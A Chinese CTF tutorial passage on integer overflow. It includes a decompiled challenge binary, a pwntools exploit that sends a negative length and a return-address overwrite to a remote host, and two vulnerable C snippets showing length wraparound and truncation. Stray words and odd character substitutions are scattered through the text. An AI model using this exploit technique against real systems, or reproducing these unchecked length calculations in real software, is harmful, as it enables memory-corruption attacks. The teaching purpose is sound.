因爲整數在內存裏保存在一個固定長度的空間內,它能存儲的最大值和最小值是固定的,若是咱們嘗試去存儲一個數,而這個數又大於這個固定的最大值時,就會致使整數溢出python
若是一個整數用來計算一些敏感數值,如緩衝區大小或數值索引,就會產生潛在的危險。一般狀況下,整數溢出並無改寫額外的內存,不會直接致使任意代碼執行,可是它會致使棧溢出和堆溢出,然後二者都會致使任意代碼執行。因爲整數溢出出現以後,很難被當即察覺,比較難用一個有效的方法去判斷是否出現或者可能出現整數溢出。數組
關於整數的異常狀況主要有三種:dom
溢出函數
OF
可檢測有符號數的溢出迴繞this
0-1
時會變成最大的數,如1字節的無符號數會變爲255,而255+1會變成最小數0.fCF
可檢測無符號數的迴繞截斷code
int __cdecl main(int argc, const char **argv, const char **envp) { int v4; // [esp+Ch] [ebp-1Ch] unsigned int buf; // [esp+10h] [ebp-18h] int v6; // [esp+14h] [ebp-14h] int fd; // [esp+18h] [ebp-10h] int i; // [esp+1Ch] [ebp-Ch] setvbuf(stdout, 0, 2, 0); puts("###### Welecome to ctf game ######\ninput your name length : "); read_name(); puts("let's begin guess num game "); fd = open("/dev/urandom", 0); if ( fd < 0 || read(fd, &buf, 4u) < 0 ) { puts("error"); exit(0); } close(fd); srand(buf); for ( i = 0; i <= 9; ++i ) { v6 = rand() % 9 + 3; printf("Round %d , please guess the num : \n", i); fflush(stdout); fflush(stdin); __isoc99_scanf("%d", &v4); if ( v4 != v6 ) { printf("you fail"); exit(0); } } printf("u are great! this is your flag"); getflag(); return 0; }
猜想隨機數可得flag,hhh索引
int read_name() { char s[80]; // [esp+8h] [ebp-60h] unsigned int v2; // [esp+58h] [ebp-10h] unsigned int i; // [esp+5Ch] [ebp-Ch] memset(s, 0, 0x50u); __isoc99_scanf("%ld", &v2); if ( (signed int)v2 > 48 ) { puts("too long!!! u are a hacker!!!"); exit(0); } puts("please tell me your name : "); fflush(stdout); fflush(stdin); for ( i = 0; i < v2; ++i ) { read(0, &s[i], 1u); if ( s[i] == 10 ) { s[i] = 0; return printf("helllo %s\n", s); } } return printf("helllo %s\n", s); }
看到這裏想到利用數組s覆蓋返回地址,控制程序跳轉到getflag()函數內存
利用過程rem
from pwn import * p = remote("114.116.54.89",10011) p.recvuntil("input your name length : \n") p.sendline("-1") payload = 'a'*(0x60-0xc) + 'c' + p32(0x080486BB) p.recvuntil("please tell me your name : \n") p.sendline(payload) p.interactive()
void vulnerable() { size_t len; // int len; char* buf; len = read_int_from_network(); buf = malloc(len + 5); read(fd, buf, len); ... }
這個例子看似避開了緩衝區溢出的問題,可是若是 len 過大, len+5 有可能發生迴繞。好比說,在 x86-32 上,若是 len = 0xFFFFFFFF ,則 len+5 = 0x00000004 ,這時 malloc() 只分配了 4 字節的內存區域,而後在裏面寫入大量的數據,緩衝區溢出也就發生了。(若是將 len 聲明爲有符號 int 類型, len+5 可能發生溢出)字符串
void main(int argc, char *argv[]) { unsigned short int total; total = strlen(argv[1]) + strlen(argv[2]) + 1; char *buf = (char *)malloc(total); strcpy(buf, argv[1]); strcat(buf, argv[2]); ... }
這個例子接受兩個字符串類型的參數並計算它們的總長度,程序分配足夠的內存來存儲拼接後的字符串。首先將第一個字符串參數複製到緩衝區中,而後將第二個參數鏈接到尾部。若是攻擊者提供的兩個字符串總長度沒法用 total 表示,則會發生截斷,從而致使後面的緩衝區溢出。
ctf-all-in-one